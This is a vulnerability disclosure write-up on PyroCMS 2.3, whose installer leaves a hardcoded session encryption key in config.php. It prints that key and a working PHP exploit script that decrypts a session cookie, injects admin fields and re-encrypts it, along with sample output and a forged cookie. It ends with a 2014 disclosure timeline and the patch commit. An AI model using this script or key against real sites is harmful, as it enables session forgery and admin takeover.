PyroCMS Object Injection Vulnerability – Another step, damn the steps, damn thee!

Hello

PyroCMS is one of the popular open source cms application. It is based on Codeigniter! You can download it from https://www.pyrocms.com/ or github account. I decided to analyze installation module of PyroCMS. Because we’ve learned that as an attackeri, we can do Object injection attacks if private key is not private! 

I’ve wrote about Codeigniter Object Injection Vulnerability before. If you didn’t read it before, I would advise you to read it. Because this write-up will  not cover again session and array serialization mechanism of Codeigniter and this write-up highly related with that mechanism.

Installation Modules PyroCMS

Cloning 2.3/master branch of PyroCMS

//
git clone -b '2.3/master' https://github.com/pyrocms/pyrocms

Now it’s time to read source codes of installation module. Installer controller can be found following path installer/controllers/installer.php. When we reached step 4 following method will be called.

/**
 * Another step, damn thee steps, damn thee!
 */
public function step_4()
{
    if ( ! $this->session->userdata('step_1_passed') OR ! $this->session->userdata('step_2_passed') OR ! $this->session->userdata('step_3_passed')) {
        // Redirect the user back to step 2
        redirect('installer/step_2');
    }

    // Set rules
    $this->form_validation->set_rules(array(
        array(
            'field' => 'user[username]',
            'label' => 'lang:user_name',
            'rules' => 'trim|required'
        ),
        array(
            'field' => 'user[firstname]',
            'label' => 'lang:first_name',
            'rules' => 'trim|required'
        ),
        array(
            'field' => 'user[lastname]',
            'label' => 'lang:last_name',
            'rules' => 'trim|required'
        ),
        array(
            'field' => 'user[email]',
            'label' => 'lang:email',
            'rules' => 'trim|required|valid_email'
        ),
        array(
            'field' => 'user[password]',
            'label' => 'lang:password',
            'rules' => 'trim|min_length[6]|max_length[20]|required'
        ),
    ));

    // If the form validation failed (or did not run)
    if ($this->form_validation->run() == false) {
        $this->_render_view('step_4');
    }

    // If the form validation passed
    else {
        // Grab the connection config from the session
        $db_config = $this->session->userdata('db_config');

        // First User details
        $user = $this->input->post('user');

        // Create the database if that is what they asked us to do
        if ( ! empty($db_config['create_db'])) {
            // Create an PDO connection and instance
            $pdo = $this->installer_lib->create_connection($db_config);

            // Make the database
            $this->installer_lib->create_db($pdo, $db_config['database']);
        }

        // Let's try to install the system with this new PDO instance
        try {
            $pdb = $this->installer_lib->install($user, $db_config);
        } catch (Exception $e) {

            $this->_render_view('step_4', array(
                'messages' => array(
                    'error' => $e->getMessage(),
                )
            ));

            return;
        }

        // Success!
        $this->session->set_flashdata('success', lang('success'));

        // Store the default username and password in the session data
        $this->session->set_userdata('user', $user);

        // Define the default user email to be used in the settings module install
        define('DEFAULT_EMAIL', $this->input->post('user_email'));

        // Import the modules
        $this->load->library('module_import', array(
            'pdb' => $pdb,
        ));

        $this->module_import->import_all();

        $themeManager = new ThemeManager();
        $themeManager->setLocations(array(
            PYROPATH.'themes/',
        ));

        $themeManager->registerUnavailableThemes();

        $widgetManager = new WidgetManager();
        $widgetManager->setLocations(array(
            PYROPATH.'widgets/',
        ));
        $widgetManager->registerUnavailableWidgets();

        redirect('installer/complete');
    }
}

Please look at 64th line. PyroCMS calls install method of install_lib class.  Let’s see source code of install method.

/**
 * Install the PyroCMS database and write the database.php file
 *
 * @param array $user The data from the database user form
 * @param array $db   The data from the database information form
 *
 * @throws InstallerException
 * @return array
 */
public function install(array $user, array $db)
{
    $config = array(
        'driver' => $db['driver'],
        'password' => $db["password"],
        'prefix' => '',
        'charset' => "utf8",
        'collation' => "utf8_unicode_ci",
    );

    // Create a connection
    switch ($db['driver']) {
        case 'mysql':
        case 'pgsql':
            $config['host'] = $db['hostname'];
            $config['port'] = $db['port'];
            $config['username'] = $db["username"];
            $config['database'] = $db["database"];
            break;
        case 'sqlite':
            $config['database'] = $db['location'];
            break;
        default:
            throw new InstallerException("Unknown database driver type: {$db['driver']}");
            break;
    }

    $capsule = new Capsule;
    $capsule->addConnection($config);

    $container = $capsule->getContainer();

    $container->offsetGet('config')->offsetSet('cache.driver', 'array');
    $container->offsetGet('config')->offsetSet('cache.prefix', 'pyrocms');

    ci()->cache = new CacheManager($container);

    $capsule->setCacheManager(ci()->cache);

    // Set the fetch mode FETCH_CLASS so we 
    // get objects back by default.
    $capsule->setFetchMode(PDO::FETCH_CLASS);
    
    $capsule->bootEloquent();
    
    $capsule->setAsGlobal();

    // Connect using the Laravel Database component
    $conn = $capsule->connection();

    ci()->load->model('install_m');

    // Basic installation done with this PDO connection
    ci()->install_m->set_default_structure($conn, $user, $db);

    // Write the database file
    if ( ! $this->write_db_file($db)) {
        throw new InstallerException('Failed to write database.php file.');
    }

    // Write the config file.
    if ( ! $this->write_config_file()) {
        throw new InstallerException('Failed to write config.php file.');
    }

    return $conn;
}

PyroCMS doesn’t generate random string in order to set it to encryption_key!!! It just writes database credentials into to the database.php . Then it calls write_config_file method.

public function write_config_file()
{
    $server_name = ci()->session->userdata('http_server');
    $supported_servers = ci()->config->item('supported_servers');

    // Able to use clean URLs?
    $index_page = ($supported_servers[$server_name]['rewrite_support'] !== false) ? '' : 'index.php';

    return $this->_write_file_vars('../system/cms/config/config.php', './assets/config/config.php', array('{index}' => $index_page));
}

There is nothing about encryption_key. It was the moment when I’ve started thinking about “Encryption key defined as static ???” . Then I checked out cms/config/config.php and see that!

//
$config['encryption_key'] = "Jiu348^&H%fa";

That means everyone uses same encryption key right now! This is really …

EVIL THINGS

I wrote a PHP script in order to decrypt session string and append new fields. You can change  serialized session plain-text string to whatever you want. Following codes takes current cookie value via argv  and detect remote server encryption method then generates new string with same key! Also I’ve made a few modifications on Encryption class of Codeigniter.

<?php
// Line 107 of ci_encryption.php
define('KEYWORD', 'session_id');
require('ci_encryption.php');

$cookie = rawurldecode($argv[1]);
if (preg_match('/[^a-zA-Z0-9\/\+=]/', $cookie))
{
    echo 'Wrong cookie string.'.PHP_EOL;
    return FALSE;
}
$encryption = new CI_Encrypt();

$_mcrypt = $encryption->mcrypt_decode(base64_decode($cookie));
$_xor = $encryption->_xor_decode(base64_decode($cookie));
$method = '';
$plain = '';

if (strpos($_mcrypt, KEYWORD) !== false) {
    echo 'Encryption method is mcrypt!'.PHP_EOL;
    $method = 'm';
    $plain = $_mcrypt;
} else if (strpos($_xor, KEYWORD) !== false) {
    echo 'Encryption method is xor!'.PHP_EOL;
    $method = 'x';
    $plain = $_xor;
} else {
    echo 'something went wrong.';exit(0);
}
echo $plain;exit(0);;
$arr = unserialize($plain);
#############################################
echo 'Current Array : '.PHP_EOL;
print_r($arr).PHP_EOL;

$arr['email'] = "hacker@yopmail.com";
$arr['id'] = 1;
$arr['user_id'] = 1;
$arr['group_id'] = 1;
$arr['group'] = 'admin';
##################################
echo 'Payload Array : '.PHP_EOL;
print_r($arr).PHP_EOL;


$payload = serialize($arr);

if ($method === 'm')
    $payload = base64_encode($encryption->mcrypt_encode($payload)).PHP_EOL;;
if ($method === 'x')
    $payload = base64_encode($encryption->_xor_encode($payload)).PHP_EOL;;

echo 'NEW COOKIE : '.PHP_EOL;
$payload = substr($payload, 0, -3);
echo urlencode($payload);
echo PHP_EOL.PHP_EOL;
echo 'Use Tamper Data and change cookie then push F5!'.PHP_EOL;
echo PHP_EOL;

Output ot sploit.php is look like following one. I’ve just added some extra field into my session array for demonstration.

//
mince@rootlab ci-work $ php sploit.php "A2cBaQM1AD8JfFV2AmgHMVc1CDYKfVctVDIHJwRzUW5XP1VtBlwBYVMyAnJTagVzDTlUNwtpBjtdLQRlC24BOQNhBTdSZgdhBGcCNwUzCTYDPgFiA2UAMAk0VTMCZAc1VzMIbQpvV2ZUMwdgBGJRPlcxVTAGMwE7U2MCclNqBXMNOVQ1C2sGO10tBGkLLgFXA2EFMlIyByMEZgInBXMJIgM9ASADOwA8CT1VJwJjBzJXMggiCm9XcFRnB3oEMVElV2tVcAY5ATlTZgJqU3MFdQ1wVGELKQZeXW4EZws7AWYDdAV0Um0HIgQ5AmMFNgk6AyQBHgNuAH8JblVpAj4HYVcqCDkKcVduVHcHfARYUTZXYVU4BiMBXVM0AiVTPwV0DXZUPwt7Bk1dZgRuCysBcAMgBS5SbgdnBFwCYgU0CTsDJgEhA3cAPwk1VT0CfAcwVywILAoYVztUNAc%2FBG9RKFdiVTMGMgE4U2YCYVNhBTENI1RCCzIGc11qBGYLMQFwAy8FZFJuB38EMwJ2BTsJcwM8AWIDMgA%2FCSVVaQIzB3NXcQhTCj5XPVQjBz0EdlFuVyRVegYhATNTPwJqU2AFMw06VDwLawYwXTgEMwtrATkDOwUr"

Encrypt Class InitializedEncryption method is xor!


Current Array : 
Array
(
    [session_id] => e01aa00dc3681d536656a08d4b9a3035
    [ip_address] => 127.0.0.1
    [user_agent] => Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
    [last_activity] => 1398017351
)
Payload Array : 
Array
(
    [session_id] => e01aa00dc3681d536656a08d4b9a3035
    [ip_address] => 127.0.0.1
    [user_agent] => Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
    [last_activity] => 1398017351
    [email] => hacker@yopmail.com
    [id] => 1
    [user_id] => 1
    [group_id] => 1
    [group] => admin
)
NEW COOKIE : 
UDQBaQc8Um0PegIhBG4HMQVnCTdQJ1AqBWNTcwB3VWpUPFRsBF5cPAZnB3cBOFMlWGxQMwpoATxSIgVkUjdQaAVnAjBRZVA2VDcGMwM1CDdQbQFiB2FSYg8yAmQEYgc1BWEJbFA1UGEFYlM0AGZVOlQyVDEEMVxmBjYHdwE4UyVYbFAxCmoBPFIiBWhSd1AGBWcCNVExUHRUNgYjA3UII1BuASAHP1JuDzsCcARlBzIFYAkjUDVQdwU2Uy4ANVUhVGhUcQQ7XGQGMwdvASFTI1glUGUKKAFZUmEFZlJiUDcFcgJzUW5QdVRpBmcDMAg7UHcBHgdqUi0PaAI%2BBDgHYQV4CThQK1BpBSZTKABcVTJUYlQ5BCFcAAZhByABbVMiWCNQOwp6AUpSaQVvUnJQIQUmAilRbVAwVAwGZgMyCDpQdQEhB3NSbQ8zAmoEegcwBX4JLVBCUDwFZVNrAGtVLFRhVDIEMFxlBjMHZAEzU2dYdlBGCjMBdFJlBWdSaFAhBSkCY1FtUChUYwZyAz0IclBvAWIHNlJtDyMCPgQ1B3MFIwlSUGRQOgVyU2kAclVqVCdUewQjXG4GagdvATJTZVhvUDgKagE3UjcFMlIyUGgFPQIiUW9QM1RpBnIDYwhsUDQBOgdpUnUPOgIhBG4HMQVvCTdQJ1AxBWdTYwBvVWZUIVRCBHhcOgZzBzgBYlM%2FWDpQLgo5AWlSbQUjUjxQKgU8AmNRb1AkVDoGNAMkCDpQPAFpBzRSbA9yAmgEYwc6BXUJeFB2UDwFdFNfAG1VZ1RxVDkEaFxvBjIHbgFwU2xYblA6CngBYVJyBW5SclApBVkCOFExUCRUaAY5AzwIMFBuASAHP1JiDzsCcAQzB3IFOAl4UHVQewU9U3MAPlU2VGlUIARgXDEGbgc8AW1TdFhtUH

IN CONCLUSION

Private keys are designed to be private!

TIMELINE

20 Apr 2014 – First contact

24 Apr 2014 – Response from lead developer and patched via following commit.
https://github.com/pyrocms/pyrocms/commit/af42c70a04ee9b4105a3d462625569e0ad9796cf